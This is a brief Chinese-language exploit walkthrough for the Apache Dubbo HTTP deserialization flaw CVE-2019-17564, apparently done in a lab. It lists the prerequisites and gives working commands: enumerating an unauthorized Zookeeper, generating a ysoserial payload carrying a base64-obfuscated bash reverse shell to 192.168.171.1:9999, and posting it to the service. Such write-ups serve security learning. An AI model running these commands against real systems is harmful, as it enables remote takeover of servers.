1. CVE-2019-17564
原理
Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。
影响版本:Apache Dubbo 2.7.4之前
利用
条件:
- 知道目标rpc接口名
- 目标机器上需要有可用的利用链
因为利用该漏洞需要先知道目标RPC接口名 ,而Dubbo所有的RPC配置储存在registry中,通常使用Zookeeper 作为registry。如果能刚好找到目标的Zookeeper未授权访问漏洞 ,那么就可以在其中找到接口的名称与地址。
假设我们已经找到这个未授权的zookpeer,然后我们执行下面的命令:
zkCli -server 192.168.171.139:2181
得到了RPC接口名为org.vulhub.api.CalcService 。接着我们发送反序列化数据过去进行漏洞利用:
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > 1.poc
curl -XPOST --data-binary @1.poc http://192.168.171.139:8080/org.vulhub.api.CalcService
|